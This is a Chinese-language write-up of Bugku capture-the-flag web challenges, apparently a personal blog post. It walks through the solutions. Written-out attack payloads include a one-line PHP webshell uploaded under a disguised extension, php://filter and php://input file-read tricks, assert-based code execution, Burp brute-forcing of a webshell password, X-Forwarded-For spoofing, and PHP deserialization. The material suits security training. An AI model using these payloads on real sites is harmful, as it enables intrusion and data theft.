Bugku_Web_WriteUp
前言
刷刷题,长长见识
Web2
直接查看源码即可
计算器
答案为两位数,输入却只能输入一位,F12查看源码
然后,右键编辑HTML,改成maxlengt=”2”,输入计算结果,得到flag
web基础$_Get
PHP语句,GET方式上传信息,直接在后面加上?what=flag,得到flag
web基础$_POST
这题要post数据,Firefox安装一个hackbar插件,F12打开,输入如下,即可得到flag
矛盾
PHP函数
bool is_numeric ( mixed $var )
检测量是否为数字或数字字符
如果var是数字或者数字字符则返回true,否则返回false
题目的意思是$num不是数字活数字字符,但是还要$num=1
$GET方式传参,可以令num=1x(x可以为任意字符),即可得到flag
Web3
查看源码,发现一串HTML字符
写一个脚本,代码如下
1 | s='KEY{J2sa42ahJK-HS11III}' |
拿到flag
域名解析
bugku原来的IP为下面的
这个IP也是无法访问的
打开C:/windows/system32/drivers/etc目录下的hosts文件
在最后一行加上123.206.87.240 flag.bugku.com,保存设置
再次访问flag.bugku.com,得到flag,
你必须让他停下
直接用burpsuite抓包,然后找一找,就找到了
本地包含
REQUEST默认情况下包含了$_GET,$_POST 和 $_COOKIE 的数组。
这题的目的就是要看到flag.php里的内容
方法有很多
1 | ?hello=file('flag.php') |
都可以的得到flag
变量一
发现有$$的变量,直接用全局变量$GLOBALS即可,
?args=GLOBALS,进而构造出var_dump($GLOBALS)
payload:
1 | http://123.206.87.240:8004/index1.php?args=GLOBALS |
Web3
查看源码,发现JSFUCK
复制粘贴到console即可,或者JSFUCK在线解密一下
头等舱
很简单,burpsuite抓包即可。
网站被黑
需要用御剑扫描器,扫描一下网站的后台
打开index.php是原来网页,打开shell.php,出现webshell,要密码
直接用burpsuite暴力破解,
先抓包,然后send to intruder
点击positions,先点击clear,清除$,然后选中密码123456,点击add,添加$
点击payload,进行如下选择,其他默认
然后点击start attack
一会之后,得到结果,然后观察爆破结果,length大部为1125,只有一个1110,异常,猜测这个就是密码,尝试登录,
会回显flag
管理员系统
查看源代码,发现一段base64
解密后得到
尝试登录,用户名为admin,密码为test123
IP禁止访问,请联系本地管理员登录
要伪装一下,伪装成本地IP,在headers添加一个伪装头部
即可得到flag
Web4
查看源码,发现两串URl编码,在线解码后,发现
直接提交,得到flag
flag在index里
payload:
1 | http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php |
url上面有file参数,就想到了php里面的file协议,用base64转码把index.php里面的内容读出来,再解码,得到flag
输入密码查看flag
要输入5位数字,字节暴力破解,bp一下即可得到flag
点击一百万次
查看源码
post一个clicks=1000000即可
本地包含2
查看源码,发现有个upload.php
访问看看,到了一个文件上传网页
构造一句话木马,
1 | <script language=php>system("ls")</script> |
更改文件名为1.php;.jpg,然后上传
查看
可以直接看到包含的文件
再访问this_is_th3_F14g_154f65sd4g35f4d6f43.txt,即可得到flag
各种绕过
GET获取uname,id
POST获取passwd
===:比较两个变量的只和类型 ==:比较值,不比较类型
要使uname的sha1和值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等
很熟悉的套路 只要构造数组
构造,即可得到flag
求getshell
是一道文件上传题,
开始改了各种后缀名,尝试了很多都不行
好不容易拿到这个的时候,还以为快成功了,搜了搜wp,发现还是做错了
用bp抓包后,然后更改头部信息Content-Type,
通过修改Content-type后字母的大小写可以绕过检测,
分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤
然后修改文件后缀名为.php5
程序员的本地网站
要求从本地访问
直接bp抓包,伪装成本地登录,在头部添加 X-forwarded-for:127.0.0.1
在做题过程中发现了点问题,不知道是迷惑人,还是存在的bug
cookie欺骗
URL上有段base64,解密后的信息是”keys.txt”
参数line是按行返回信息
从keys.txt可以看出,”filename=”后面直接加的是文件名的base64编码
猜测index.php文件是否存在,把index.php转成base64:aW5kZXgucGhw
填入url,
payload:http://123.206.87.240:8002/web11/index.php?line=&filename=aW5kZXgucGhw
查看源码,有信息
把line改成line=3试试,有信息
写一个脚本,获得index.php中的信息
1 | import requests |
拿到index.php的源码
可以看到,cookie的名字和值都是”margin”
修改cookie:margin=margin ,修改filename的值为keys.php的base64编码,访问keys.php(图中标1处,即为keys.php的base64编码)
速度要快
查看源码,要post一个margin
bp抓包,
Base64解码之后,又一个base64,再解码
得到几个数字,没什么用啊
bp又抓了一次,发现flag居然变了,又进行了解码,也没用
看了大佬的wp,使用脚本做的,学习一下
1 | import requests |
拿到flag
过狗一句话
题目给的代码
1 |
|
explode()函数可以在官方文档看详细信息,就是把字符串打散成数组。
exlpde()分割a#s#s#e#r#t为assert,使用assert()函数的解析传进来的s串,那就说明可以执行代码。
payload:
s=print_r(scandir(‘./‘)) 然后读取fl4g.txt
s=print_r(glob(“*.*“)) 然后读取show_source(“fl4g.txt”)**
使用file_get_contents(“flag.txt”)读取文件**
读取文件还可以使用readfile()和fopen(),可以任意读取文件。
1
2 ?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))
md5 collision
题目提示是MD5碰撞,开始试了几个a=1之类的,都报是false,猜测应该是要输入的这个值,MD5之后是以0e开头的字符串,因为,PHP在处理哈希字符串时,会利用!=或==来对哈希值进行比较,它把每一个以0e开头的哈希值都解释为0
payload:?a=s155964671a
never give up
打开题目,看看源码,发现一个1.html,查看源码,
1 | <HTML> |
可以看到中间有一大段base64加密的串,还混这url,base64解密之后,是一段url编码,和一些语句,
1 | %22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E |
再次url解码之后,得到源码
1 | if(!$_GET['id']) |
if(stripos($a,’.’))
if($data==”bugku is a nice plateform!” and $id==0 and strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4)
要求a中不能有字符,id不能是空,且id=0,data=”bugku is a nice plateform!”,id=0,b的长度>5,”111”拼接上b的第一个字符=“1114”,但是b的低一个字符有不能=4,这样才可以包含f412a3g.txt
我们一点点来分析,
PHP在处理数字与字符串的结合是会把第一个数字当做整个串的值,比如”1asd
“=1,那么我们只要使id的值,是一个字符串,就可以使id弱等于0,
源码中变量 $data
是由 file_get_contents()
读取的 ,file_get_contents() 函数是用于将文件的内容读入到一个字符串中的方法,函数读取变量 $a
的值而得,所以 $a
的值必须为数据流。
我们不可能创建一个a文件,再写入数据bugku is a nice plateform!。
那么,要让a=bugku is a nice plateform!,只能利用,用php伪协议 php:// 来访问输入输出的数据流,它的大概意思就是可以读取我们post传递的只读数据流。所以,令 $a = "php://input"
,并post提交字符串 bugku is a nice plateform!
。
而对于eregi(“111”.substr($b,0,1),”1114”),很简单,直接用%00绕过,可以使b=%0012345
成得到flag。还有一个方法是,直接读取f4l2a3g.txt
也可以得到flag。
welcome to bugkuctf
查看源码
1 | $user = $_GET["txt"]; |
有个hint.php,访问试试,什么都没有,不死心,再?file=php://filter/read=convert.base64-encode/resource=hint.php
读一下,什么都没有,,,,,,
还是看源码吧
file_get_contents($user,'r')==="welcome to the bugkuctf"
,意思是把名为$user文件的内容输出到一个字符串,并且要求这个字符串是”welcome to the bugkuctf”,
这里可以使用php://伪协议,让user=php://,然后post提交welcome to the bugkuctf,这样就可以使语句变成file_get_contents(php://,'r')
payload :GET:?txt=php://input
POST:welcome to the bugkuctf
页面变了,但是为啥不是hello admin呢?
而且,flag在哪呢。。。。。。。
突然想到hint.php,再读一次file=php://filter/read=convert.base64-encode/resource=hint.php
payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
有东西啊,拿去解码,
1 | //hint.php |
得到了源码,可以然并卵啊,,,百思不得其解,最后,百度了一下,发现php://filter读取index.php,居然把这个给忘了,,读吧,
再base64解码,
1 | //index.php |
if(preg_match(“/flag/“,$file)) //说明文件名不能含有flag
$password = unserialize($password);
第一句,说明文件名$file不能含有flag,
而这段代码中,有一个__tostring()方法,双下划线的魔术方法,当Flag类被实例化的时候会自动执行__tostring方法,而这个方法中写了如果file文件存在,那么就输出file文件中的内容。
1 | if(preg_match("/flag/",$file)){ |
如果文件名没有”flag”了,就会把这个文件包含进来,然后$password进行反序列化,再输出$password的值。
所以我们要构造一个Flag类型的参数,并把这个参数传给password。
但是password被unserialize()反序列化处理,所以要先serialize()序列化,关于序列化与反序列化,可以查看我的另一篇文章,PHP序列化与反序列化
然后把 password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
get提交
终于拿到flag了
字符?正则?
1 |
|
原文:https://blog.csdn.net/qq_30464257/article/details/81160656
关键的还是看preg_match中的内容嘛,这里简单讲一下、需要用到的规则
1.表达式直接写出来的字符串直接利用,如key
2.“.”代表任意字符
3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次
4.“\/”代表“/”
5.[a-z]代表a-z中的任意一个字符
6.[[:punct:]]代表任意一个字符,包括各种符号
7./i代表大小写不敏感
8.{4-7}代表[0-9]中数字连续出现的次数是4-7次
payload:?id=keyaaakeyaaaakey:/a/aakeya@
你从哪里来
打开题目,就一句话
换Google浏览器试了一下,发现还是不行,那么只能修改header了
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
Web8
1 |
|
$ac的值===$f,而**$f的值是从文件名为$fn的文件中读取的,我们并不知道$fn**的值是什么,这时看到了extract(),可以使用变量覆盖,get传入一个$ac的值,然后利用php伪协议,使$fn=php://input,当通过post提交一个和$ac一样的值,然后php://input会读入这个值,使$fn=这个值,从而覆盖掉$f的值
payload:get:?ac=1&fn=php://input
post : 1
在网上还看到一种方法,根据题目提示,访问flag.txt,看到文件内容是flags,然后构造payload:
?ac=flags&fn=flag.txt
,也是可以的,这个应该才是出题意图。
flag.php
看看源码,发现login只是个按钮,怪不得怎么点都没反应
这个提示hint,找了半天不知道是什么用,最后,get传进去hint=1,发现了源码
1 |
|
(unserialize($cookie) === “$KEY”)
这样看起来,只要把$KEY='ISecer:www.isecer.com'
序列化之后,给cookie就可以了,事实上,也确实是把$KEY序列化之后给cookie,只不过,$KEY在序列化的时候,还未定义,是个空值,而不是$KEY='ISecer:www.isecer.com'
,所以,把$KEY=””序列化之后为s:0:"";
cookie的参数是ISecer,所以payload:
cookie: ISecer=s:0:””;